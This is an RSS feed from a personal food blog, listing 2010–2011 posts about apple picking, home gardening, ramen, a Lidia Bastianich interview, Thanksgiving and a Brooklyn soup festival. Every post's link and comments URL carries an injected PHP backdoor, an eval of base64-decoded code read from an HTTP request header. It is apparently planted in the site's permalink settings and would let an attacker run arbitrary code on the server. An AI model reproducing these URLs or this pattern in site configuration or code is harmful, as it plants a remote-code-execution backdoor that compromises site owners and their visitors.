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	<title>The Blog &#187; food</title>
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	<link>http://aaronlmorrison.com/foodblog</link>
	<description>Food - Journalism - Life</description>
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		<title>Upstate apple picking</title>
		<link>http://aaronlmorrison.com/foodblog/2011/10/16/upstate-apple-picking/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2011/10/16/upstate-apple-picking/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 16 Oct 2011 13:28:44 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[travel]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=1080</guid>
		<description><![CDATA[Took a trip with my cousins to upstate New York. We stayed with Tangie&#8217;s friends, in their home in Woodstock. On the way back to the city, we stopped at Minard Farms in Clintondale for apple picking.





]]></description>
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		<item>
		<title>Success</title>
		<link>http://aaronlmorrison.com/foodblog/2011/07/04/success/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2011/07/04/success/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 04 Jul 2011 16:55:32 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=972</guid>
		<description><![CDATA[My tomatoes are turning red! Horray! Puttanesca, tomato-basil sauces! Yippee! Fresh cut slices of tomato! Joy!

I guess I spoke too soon the other day.
]]></description>
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		<slash:comments>0</slash:comments>
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		<item>
		<title>Ramen</title>
		<link>http://aaronlmorrison.com/foodblog/2011/07/02/ramen/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2011/07/02/ramen/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 02 Jul 2011 18:41:24 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=945</guid>
		<description><![CDATA[It doesn&#8217;t sound very glamourous, or gourmet. I&#8217;ve long read many blogs and Yelp-like sites which proclaim Japanese noodle bars trendy in the quick, dine-alone food scene. And usually food trend stories send me running &#8212; away from the superficiality and perversion of foreign food cultures. What&#8217;s &#8220;hot&#8221; today is soon to be yesterday&#8217;s crepe [...]]]></description>
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		<slash:comments>0</slash:comments>
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		<title>Still reaping</title>
		<link>http://aaronlmorrison.com/foodblog/2011/06/28/still-reaping/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2011/06/28/still-reaping/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 29 Jun 2011 00:22:05 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[musings]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=933</guid>
		<description><![CDATA[
My home garden is doing great, but I&#8217;m learning a few things. My basil plant nearly went to seed. Seems I missed the part about cutting any flowering that begins to show during the summer. So I cut them the other day. Hopefully I&#8217;ve saved it and will continue to get big basil leaves through [...]]]></description>
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		<title>Reap what you sow</title>
		<link>http://aaronlmorrison.com/foodblog/2011/05/22/i-is-a-farmer/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2011/05/22/i-is-a-farmer/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 22 May 2011 11:34:42 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[musings]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=857</guid>
		<description><![CDATA[If you were Facebook friends with my mom, you&#8217;d know she&#8217;s got a green thumb and then some. This spring I decided to do a little gardening of my own. So I planted two varieties of tomatoes, Italian parsley, thyme, sweet basil.
Here&#8217;s my plants exactly a month ago:

And here are my plants a couple of [...]]]></description>
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		<title>Crustacean</title>
		<link>http://aaronlmorrison.com/foodblog/2011/04/17/crustacean/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2011/04/17/crustacean/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 17 Apr 2011 20:07:56 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=846</guid>
		<description><![CDATA[A must have when I&#8217;m home (San Francisco). Crustacean. Thanks to my Aunt Vienna for treating me, just before I left for the airport. Amazing, as always. Roast garlic crab and garlic noodles.

]]></description>
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		<item>
		<title>Home</title>
		<link>http://aaronlmorrison.com/foodblog/2011/04/17/home/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2011/04/17/home/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 17 Apr 2011 13:00:37 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[musings]]></category>
		<category><![CDATA[travel]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=844</guid>
		<description><![CDATA[When I think of home, I think of a place where there&#8217;s&#8230; lots of delicious reasons to eat badly for 10 days straight. And that&#8217;s exactly what I did during my trip home late March.
First up, fried chicken at mom&#8217;s. And then gumbo at dad&#8217;s.
Then my sister and I hit San Francisco for my favorite [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hello, this is Lidia&#8230;</title>
		<link>http://aaronlmorrison.com/foodblog/2010/12/12/hello-this-is-lidia/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2010/12/12/hello-this-is-lidia/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 12 Dec 2010 17:17:02 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>
		<category><![CDATA[musings]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=828</guid>
		<description><![CDATA[I was expecting her call. My iPhone began ringing and I reached for my voice recorder. I&#8217;d been waiting weeks to talk to and meet my favorite food TV personality, Lidia Bastianich. I&#8217;m professional enough to not gush on the phone or in person when I meet people I admire.
I watch Lidia&#8217;s Italy almost every [...]]]></description>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thanksgiving, again, in New York</title>
		<link>http://aaronlmorrison.com/foodblog/2010/11/26/thanksgiving-again-in-new-york/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2010/11/26/thanksgiving-again-in-new-york/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 26 Nov 2010 16:49:05 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=823</guid>
		<description><![CDATA[Thanksgiving was great this year. Missed my CA family, but had a great time with my New York family.
Menu: Nine-pound stuffed whole salmon, turkey, seafood dressing, mac and cheese, sweet potato casserole, greens, brussel sprouts, cranberry sauce.



Of course, Ailey was the main dish.

]]></description>
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		<slash:comments>0</slash:comments>
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		<title>Carroll Gardens Soup Festival</title>
		<link>http://aaronlmorrison.com/foodblog/2010/10/24/carroll-gardens-soup-festival/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://aaronlmorrison.com/foodblog/2010/10/24/carroll-gardens-soup-festival/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 24 Oct 2010 16:32:56 +0000</pubDate>
		<dc:creator>aaronlmorrison</dc:creator>
				<category><![CDATA[food]]></category>

		<guid isPermaLink="false">http://aaronlmorrison.com/foodblog/?p=798</guid>
		<description><![CDATA[Cousins Tangie, Ailey and I hit the streets recently the Carroll Garden Soup Festival. We tasted at least 10 soups from various restaurants along Smith Street in Brooklyn.



The best soups we tasted were a pasta fagioli at Lunetta and a roasted squash puree from Bombay Dream. The exact recipes, of course, aren&#8217;t on the web.
]]></description>
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